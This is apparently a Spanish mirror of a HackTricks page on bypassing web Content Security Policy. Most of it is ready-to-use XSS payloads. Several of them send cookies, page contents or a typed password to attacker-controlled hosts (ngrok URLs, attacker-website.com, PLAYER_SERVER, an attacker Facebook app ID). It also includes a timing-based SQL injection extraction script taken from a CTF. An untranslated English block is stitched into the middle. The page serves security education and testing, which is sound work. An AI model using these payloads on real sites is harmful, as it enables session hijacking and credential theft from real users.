mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00

History

Translator 0dd5102f67 Translated ['linux-hardening/privilege-escalation/README.md', 'network-s		2024-04-16 04:02:55 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md	Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',	2024-02-09 08:10:19 +00:00
README.md	Translated ['linux-hardening/privilege-escalation/README.md', 'network-s	2024-04-16 04:02:55 +00:00

README.md

Bypass de la Política de Seguridad de Contenido (CSP)

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
Obtén merchandising oficial de PEASS & HackTricks
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.

¡Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs!

Perspectivas de Hacking
Involúcrate con contenido que explora la emoción y los desafíos del hacking

Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios
Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas

Únete a nosotros en Discord ¡y comienza a colaborar con los mejores hackers hoy!

¿Qué es CSP?

La Política de Seguridad de Contenido (CSP) es reconocida como una tecnología del navegador, principalmente destinada a proteger contra ataques como scripting entre sitios (XSS). Funciona definiendo y detallando rutas y fuentes desde las cuales el navegador puede cargar recursos de forma segura. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluidos recursos en línea y la ejecución de código de cadena a través de funciones como eval, setTimeout o setInterval.

La implementación de CSP se realiza a través de encabezados de respuesta o mediante la incorporación de elementos meta en la página HTML. Siguiendo esta política, los navegadores hacen cumplir proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada.

Implementado a través del encabezado de respuesta:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

Implementado a través de una etiqueta meta:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Encabezados

CSP puede ser aplicado o monitoreado utilizando estos encabezados:

Content-Security-Policy: Aplica el CSP; el navegador bloquea cualquier violación.
Content-Security-Policy-Report-Only: Utilizado para monitoreo; reporta violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción.

Definición de Recursos

CSP restringe los orígenes para cargar tanto contenido activo como pasivo, controlando aspectos como la ejecución de JavaScript en línea y el uso de eval(). Un ejemplo de política es:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directivas

script-src: Permite fuentes específicas para JavaScript, incluyendo URLs, scripts en línea y scripts activados por manejadores de eventos o hojas de estilo XSLT.
default-src: Establece una política predeterminada para la obtención de recursos cuando las directivas de obtención específicas están ausentes.
child-src: Especifica los recursos permitidos para los trabajadores web y el contenido de marcos incrustados.
connect-src: Restringe las URLs que se pueden cargar utilizando interfaces como fetch, WebSocket, XMLHttpRequest.
frame-src: Restringe las URLs para marcos.
frame-ancestors: Especifica qué fuentes pueden incrustar la página actual, aplicable a elementos como <frame>, <iframe>, <object>, <embed> y <applet>.
img-src: Define las fuentes permitidas para las imágenes.
font-src: Especifica las fuentes válidas para las fuentes cargadas usando @font-face.
manifest-src: Define las fuentes permitidas de archivos de manifiesto de la aplicación.
media-src: Define las fuentes permitidas para cargar objetos multimedia.
object-src: Define las fuentes permitidas para los elementos <object>, <embed> y <applet>.
base-uri: Especifica las URLs permitidas para cargar usando elementos <base>.
form-action: Enumera los puntos finales válidos para envíos de formularios.
plugin-types: Restringe los tipos MIME que una página puede invocar.
upgrade-insecure-requests: Instruye a los navegadores a reescribir las URLs HTTP a HTTPS.
sandbox: Aplica restricciones similares al atributo sandbox de un <iframe>.
report-to: Especifica un grupo al que se enviará un informe si se viola la política.
worker-src: Especifica fuentes válidas para scripts de Worker, SharedWorker o ServiceWorker.
prefetch-src: Especifica fuentes válidas para recursos que se obtendrán o precargados.
navigate-to: Restringe las URLs a las que un documento puede navegar por cualquier medio (a, form, window.location, window.open, etc.)

Fuentes

*: Permite todas las URLs excepto aquellas con esquemas data:, blob:, filesystem:.
'self': Permite la carga desde el mismo dominio.
'data': Permite cargar recursos a través del esquema de datos (por ejemplo, imágenes codificadas en Base64).
'none': Bloquea la carga desde cualquier fuente.
'unsafe-eval': Permite el uso de eval() y métodos similares, no recomendado por razones de seguridad.
'unsafe-hashes': Habilita manejadores de eventos en línea específicos.
'unsafe-inline': Permite el uso de recursos en línea como scripts en línea <script> o <style>, no recomendado por razones de seguridad.
'nonce': Una lista blanca para scripts en línea específicos utilizando un nonce criptográfico (número usado una vez).
Si tiene una ejecución de JS limitada, es posible obtener un nonce utilizado dentro de la página con doc.defaultView.top.document.querySelector("[nonce]") y luego reutilizarlo para cargar un script malicioso (si se usa strict-dynamic, cualquier fuente permitida puede cargar nuevas fuentes, por lo que esto no es necesario), como en:

Cargar script reutilizando nonce

```html

```

'sha256-<hash>': Lista blanca de scripts con un hash sha256 específico.
'strict-dynamic': Permite cargar scripts desde cualquier fuente si ha sido incluido en una lista blanca por un nonce o hash.
'host': Especifica un host específico, como example.com.
https:: Restringe las URL a aquellas que utilizan HTTPS.
blob:: Permite cargar recursos desde URL Blob (por ejemplo, URL Blob creadas a través de JavaScript).
filesystem:: Permite cargar recursos desde el sistema de archivos.
'report-sample': Incluye una muestra del código que viola la política en el informe de violación (útil para depurar).
'strict-origin': Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincida con el documento (solo las fuentes seguras pueden cargar recursos desde fuentes seguras).
'strict-origin-when-cross-origin': Envía URLs completas al realizar solicitudes del mismo origen, pero solo envía el origen cuando la solicitud es de origen cruzado.
'unsafe-allow-redirects': Permite cargar recursos que se redirigirán inmediatamente a otro recurso. No se recomienda ya que debilita la seguridad.

Reglas CSP Inseguras

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Trabajo de carga útil: "/><script>alert(1);</script>

self + 'unsafe-inline' a través de Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

{% hint style="danger" %} Esto no funciona, para más información verifica esto. {% endhint %}

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Carga de trabajo en funcionamiento:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Si de alguna manera puedes hacer que un código JS permitido cree una nueva etiqueta de script en el DOM con tu código JS, porque un script permitido lo está creando, la nueva etiqueta de script podrá ser ejecutada.

Comodín (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Carga de trabajo en funcionamiento:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Falta de object-src y default-src

{% hint style="danger" %} Parece que esto ya no está funcionando {% endhint %}

Content-Security-Policy: script-src 'self' ;

Cargas útiles de trabajo:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Subida de archivos + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Si puedes subir un archivo JS puedes evadir esta CSP:

Carga de trabajo funcional:

"/>'><script src="/uploads/picture.png.js"></script>

Sin embargo, es altamente probable que el servidor esté validando el archivo cargado y solo te permitirá subir un tipo determinado de archivos.

Además, incluso si pudieras cargar un código JS dentro de un archivo utilizando una extensión aceptada por el servidor (como: script.png), esto no sería suficiente porque algunos servidores como el servidor apache seleccionan el tipo MIME del archivo basado en la extensión y los navegadores como Chrome rechazarán ejecutar código Javascript dentro de algo que debería ser una imagen. "Afortunadamente", existen errores. Por ejemplo, de un CTF aprendí que Apache no reconoce la extensión .wave, por lo tanto, no la sirve con un tipo MIME como audio/*.

A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una extensión mal interpretada, podrías intentar cargar un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo cargado, crear un políglota (algunos ejemplos de políglotas aquí).

Form-action

Si no es posible inyectar JS, aún podrías intentar exfiltrar, por ejemplo, credenciales inyectando una acción de formulario (y tal vez esperando que los administradores de contraseñas autocompleten las contraseñas). Puedes encontrar un ejemplo en este informe. Además, ten en cuenta que default-src no cubre las acciones de formulario.

Endpoints de Terceros + ('unsafe-eval')

{% hint style="warning" %} Para algunos de los siguientes payloads, ni siquiera se necesita unsafe-eval. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Cargue una versión vulnerable de Angular y ejecute JS arbitrario:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads utilizando Angular + una biblioteca con funciones que devuelven el objeto `window` (consulta esta publicación):

{% hint style="info" %} La publicación muestra que podrías cargar todas las bibliotecas desde cdn.cloudflare.com (o cualquier otro repositorio de bibliotecas JS permitido), ejecutar todas las funciones añadidas de cada biblioteca, y verificar qué funciones de qué bibliotecas devuelven el objeto window. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Bypass de la Política de Seguridad de Contenido (CSP) para Angular

Descripción

En este escenario, exploraremos cómo es posible realizar un ataque de Cross-Site Scripting (XSS) en una aplicación Angular al aprovechar un nombre de clase específico que no está bloqueado por la Política de Seguridad de Contenido (CSP).

Pasos

Identificar la Política de Seguridad de Contenido (CSP): Comprender las restricciones impuestas por la CSP en la aplicación Angular objetivo.
Analizar la Interfaz de Usuario: Identificar elementos de la interfaz de usuario que reflejen o utilicen clases CSS personalizadas.
Crear un Payload XSS: Crear un payload XSS que se insertará en el nombre de una clase CSS.
Inyectar el Payload: Insertar el payload XSS en el nombre de la clase CSS identificada en el paso 2.
Verificar la Ejecución del XSS: Confirmar que el payload XSS se ejecuta con éxito al cargar la página y que la CSP no lo bloquea.

Impacto

Al explotar con éxito esta vulnerabilidad, un atacante puede ejecutar código malicioso en el contexto del navegador de un usuario, lo que podría llevar a la toma de control de la sesión, robo de credenciales u otras acciones maliciosas.

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Abusando del código JS de google recaptcha

Según este informe de CTF puedes abusar de https://www.google.com/recaptcha/ dentro de un CSP para ejecutar código JS arbitrario eludiendo el CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Más cargas útiles de este informe:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Abusando de www.google.com para redireccionamiento abierto

La siguiente URL redirige a example.com (desde aquí):

https://www.google.com/amp/s/example.com/

Endpoints de Terceros + JSONP

Es posible abusar de Google Apps Script para recibir información en una página dentro de script.google.com. Como se hace en este informe.

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Escenarios como este donde script-src está configurado como self y un dominio en particular que está en la lista blanca pueden ser evitados utilizando JSONP. Los puntos finales de JSONP permiten métodos de devolución de llamada inseguros que permiten a un atacante realizar XSS, carga útil de trabajo:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee contiene puntos finales JSONP listos para usar para eludir la CSP de diferentes sitios web.

La misma vulnerabilidad ocurrirá si el punto final de confianza contiene una Redirección Abierta porque si el punto final inicial es de confianza, las redirecciones también lo son.

Abusos de Terceros

Como se describe en el siguiente post, hay muchos dominios de terceros que pueden estar permitidos en alguna parte de la CSP y pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son:

Entidad	Dominio Permitido	Capacidades
Facebook	www.facebook.com, *.facebook.com	Exfil
Hotjar	*.hotjar.com, ask.hotjar.io	Exfil
Jsdelivr	*.jsdelivr.com, cdn.jsdelivr.net	Exec
Amazon CloudFront	*.cloudfront.net	Exfil, Exec
Amazon AWS	*.amazonaws.com	Exfil, Exec
Azure Websites	.azurewebsites.net, .azurestaticapps.net	Exfil, Exec
Salesforce Heroku	*.herokuapp.com	Exfil, Exec
Google Firebase	*.firebaseapp.com	Exfil, Exec

Si encuentras alguno de los dominios permitidos en la CSP de tu objetivo, es posible que puedas eludir la CSP registrándote en el servicio de terceros y, ya sea exfiltrar datos a ese servicio o ejecutar código.

Por ejemplo, si encuentras la siguiente CSP:

Content-Security-Policy: default-src 'self’ www.facebook.com;

Bypassing Content Security Policy (CSP)

Introduction

Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a particular page. However, misconfigurations or weaknesses in the CSP implementation can sometimes allow attackers to bypass these security controls.

In this section, we will discuss various techniques that can be used to bypass CSP protections and execute malicious code in the context of a target web application.

Conclusion

Understanding how CSP works and the potential bypass techniques is crucial for web application security professionals to effectively assess the security posture of web applications and protect them from various client-side attacks.

Content-Security-Policy: connect-src www.facebook.com;

Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho con Google Analytics/Google Tag Manager. En este caso, sigues estos pasos generales:

Crea una cuenta de desarrollador en Facebook aquí.
Crea una nueva aplicación de "Inicio de sesión de Facebook" y selecciona "Sitio web".
Ve a "Configuración -> Básico" y obtén tu "ID de la aplicación".
En el sitio objetivo del que deseas exfiltrar datos, puedes hacerlo directamente utilizando el gadget del SDK de Facebook "fbq" a través de un "evento personalizado" y la carga de datos.
Ve a tu "Gestor de eventos" de la aplicación y selecciona la aplicación que creaste (nota que el gestor de eventos podría encontrarse en una URL similar a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
Selecciona la pestaña "Eventos de prueba" para ver los eventos enviados por "tu" sitio web.

Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook y apuntar a la cuenta de desarrollador de Facebook del atacante con el ID de la aplicación y emitir un evento personalizado como este:

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

Bypass a través de RPO (Sobrescritura de Ruta Relativa)

Además de la redirección mencionada anteriormente para evitar restricciones de ruta, existe otra técnica llamada Sobrescritura de Ruta Relativa (RPO) que se puede utilizar en algunos servidores.

Por ejemplo, si CSP permite la ruta https://example.com/scripts/react/, se puede evitar de la siguiente manera:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

El navegador finalmente cargará https://example.com/scripts/angular/angular.js.

Esto funciona porque para el navegador, se está cargando un archivo llamado ..%2fangular%2fangular.js ubicado bajo https://example.com/scripts/react/, lo cual cumple con la CSP.

Por lo tanto, el navegador lo decodificará, solicitando efectivamente https://example.com/scripts/react/../angular/angular.js, lo cual es equivalente a https://example.com/scripts/angular/angular.js.

Al explotar esta inconsistencia en la interpretación de URL entre el navegador y el servidor, se pueden evadir las reglas de ruta.

La solución es no tratar %2f como / en el lado del servidor, asegurando una interpretación consistente entre el navegador y el servidor para evitar este problema.

Ejemplo en línea: https://jsbin.com/werevijewa/edit?html,output

Ejecución de JS en iframes

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

falta de base-uri

Si falta la directiva base-uri se puede abusar de ella para realizar una inyección de marcado colgante.

Además, si la página está cargando un script usando una ruta relativa (como <script src="/js/app.js">) usando un Nonce, se puede abusar de la etiqueta base para hacer que cargue el script desde tu propio servidor logrando un XSS.
Si la página vulnerable se carga con httpS, utiliza una URL de httpS en la base.

<base href="https://www.attacker.com/">

Eventos de AngularJS

Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. Sin embargo, AngularJS introduce eventos personalizados como alternativa. Dentro de un evento, AngularJS proporciona un objeto único $event, que hace referencia al objeto de evento nativo del navegador. Este objeto $event puede ser explotado para eludir el CSP. Es importante destacar que, en Chrome, el objeto $event/event posee un atributo path, que contiene una matriz de objetos implicados en la cadena de ejecución del evento, con el objeto window posicionado invariablemente al final. Esta estructura es fundamental para las tácticas de escape de sandbox.

Al dirigir esta matriz al filtro orderBy, es posible iterar sobre ella, aprovechando el elemento terminal (el objeto window) para activar una función global como alert(). El fragmento de código demostrado a continuación aclara este proceso:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Este fragmento destaca el uso de la directiva ng-focus para desencadenar el evento, empleando $event.path|orderBy para manipular la matriz path, y aprovechando el objeto window para ejecutar la función alert(), revelando así document.cookie.

Encuentra otros bypasses de Angular en https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS y dominio en lista blanca

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Un CSP policy que lista dominios para la carga de scripts en una aplicación Angular JS puede ser eludido a través de la invocación de funciones de devolución de llamada y ciertas clases vulnerables. Puede encontrar más información sobre esta técnica en una guía detallada disponible en este repositorio de git.

Cargas útiles funcionales:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Otras endpoints de ejecución arbitraria JSONP se pueden encontrar aquí (algunos de ellos fueron eliminados o corregidos)

Bypass a través de Redirección

¿Qué sucede cuando CSP encuentra una redirección en el lado del servidor? Si la redirección lleva a un origen diferente que no está permitido, seguirá fallando.

Sin embargo, según la descripción en CSP spec 4.2.2.3. Paths and Redirects, si la redirección lleva a una ruta diferente, puede eludir las restricciones originales.

Aquí tienes un ejemplo:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Si CSP está configurado en https://www.google.com/a/b/c/d, dado que se considera la ruta, tanto los scripts /test como /a/test serán bloqueados por CSP.

Sin embargo, el http://localhost:5555/301 final será redirigido en el lado del servidor a https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Dado que es una redirección, no se considera la ruta, y el script puede cargarse, evitando así la restricción de la ruta.

Con esta redirección, incluso si se especifica completamente la ruta, seguirá siendo evitada.

Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vulnerabilidades de redirección abierta y de que no haya dominios que puedan ser explotados en las reglas de CSP.

Bypass CSP con marcado colgante

Lee cómo aquí.

'unsafe-inline'; img-src *; a través de XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' significa que se puede ejecutar cualquier script dentro del código (XSS puede ejecutar código) e img-src * significa que se puede usar en la página web cualquier imagen de cualquier recurso.

Puedes evadir esta CSP exfiltrando los datos a través de imágenes (en esta ocasión, el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extrae la bandera a través de una imagen):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

De: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

También se podría abusar de esta configuración para cargar código JavaScript insertado dentro de una imagen. Por ejemplo, si la página permite cargar imágenes desde Twitter, podrías crear una imagen especial, subirla a Twitter y abusar del "unsafe-inline" para ejecutar un código JS (como un XSS regular) que cargará la imagen, extraerá el JS de ella y lo ejecutará: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Con Service Workers

La función importScripts de los service workers no está limitada por CSP:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Inyección de Políticas

Investigación: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Si un parámetro enviado por ti está siendo pegado dentro de la declaración de la política, entonces podrías alterar la política de alguna manera que la haga inútil. Podrías permitir scripts 'unsafe-inline' con cualquiera de estos bypasses:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Porque esta directiva sobrescribirá las directivas script-src existentes.
Puedes encontrar un ejemplo aquí: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

En Edge es mucho más simple. Si puedes agregar en el CSP esto: ;_ Edge descartaría toda la política.
Ejemplo: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; a través de XSS (iframe) - Ataque de tiempo

Observa la falta de la directiva 'unsafe-inline'
Esta vez puedes hacer que la víctima cargue una página bajo tu control a través de XSS con un <iframe. Esta vez harás que la víctima acceda a la página desde donde deseas extraer información (CSRF). No puedes acceder al contenido de la página, pero si de alguna manera puedes controlar el tiempo que la página necesita para cargar puedes extraer la información que necesitas.

Esta vez se va a extraer una bandera, cada vez que se adivine correctamente un carácter a través de SQLi la respuesta tardará más tiempo debido a la función de espera. Luego, podrás extraer la bandera:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

A través de Bookmarklets

Este ataque implicaría algo de ingeniería social donde el atacante convence al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador. Este bookmarklet contendría código javascript malicioso que, al ser arrastrado y soltado o clicado, se ejecutaría en el contexto de la ventana web actual, burlando la CSP y permitiendo robar información sensible como cookies o tokens.

Para obtener más información consulte el informe original aquí.

Bypass de CSP restringiendo CSP

En este informe de CTF, se burla la CSP al inyectar dentro de un iframe permitido una CSP más restrictiva que impedía cargar un archivo JS específico que, luego, a través de polución de prototipos o dom clobbering permitía abusar de un script diferente para cargar un script arbitrario.

Puede restringir una CSP de un Iframe con el atributo csp:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

En este informe de CTF, fue posible a través de una inyección de HTML restringir aún más un CSP para deshabilitar un script que evitaba CSTI y, por lo tanto, la vulnerabilidad se volvió explotable.
CSP puede ser más restrictivo utilizando etiquetas meta de HTML y los scripts en línea pueden ser deshabilitados eliminando la entrada que permite su nonce y habilitar scripts en línea específicos a través de sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Extracción de JS con Content-Security-Policy-Report-Only

Si logras que el servidor responda con el encabezado Content-Security-Policy-Report-Only con un valor controlado por ti (quizás debido a un CRLF), podrías hacer que apunte a tu servidor y si envuelves el contenido JS que deseas exfiltrar con <script> y debido a que es altamente probable que unsafe-inline no esté permitido por la CSP, esto desencadenará un error de CSP y parte del script (que contiene la información sensible) se enviará al servidor desde Content-Security-Policy-Report-Only.

Para un ejemplo, consulta este writeup de CTF.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Filtración de información con CSP y Iframe

Se crea un iframe que apunta a una URL (llamémosla https://example.redirect.com) que está permitida por CSP.
Esta URL luego redirige a una URL secreta (por ejemplo, https://usersecret.example2.com) que no está permitida por CSP.
Al escuchar el evento securitypolicyviolation, se puede capturar la propiedad blockedURI. Esta propiedad revela el dominio de la URI bloqueada, filtrando el dominio secreto al que redirigió la URL inicial.

Es interesante notar que navegadores como Chrome y Firefox tienen diferentes comportamientos al manejar iframes con respecto a CSP, lo que puede llevar a la filtración potencial de información sensible debido al comportamiento no definido.

Otra técnica implica explotar el CSP en sí para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y ajusta el CSP para incluir dominios específicos que están deliberadamente bloqueados. Por ejemplo, si el subdominio secreto está compuesto por caracteres desconocidos, puedes probar iterativamente diferentes subdominios modificando la directiva CSP para bloquear o permitir estos subdominios. Aquí hay un fragmento que muestra cómo se podría configurar el CSP para facilitar este método:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Al monitorear qué solicitudes son bloqueadas o permitidas por la CSP, se puede reducir las posibles letras en el subdominio secreto, descubriendo eventualmente la URL completa.

Ambos métodos explotan los matices de la implementación y el comportamiento de la CSP en los navegadores, demostrando cómo las políticas aparentemente seguras pueden filtrar inadvertidamente información sensible.

Truco de aquí.

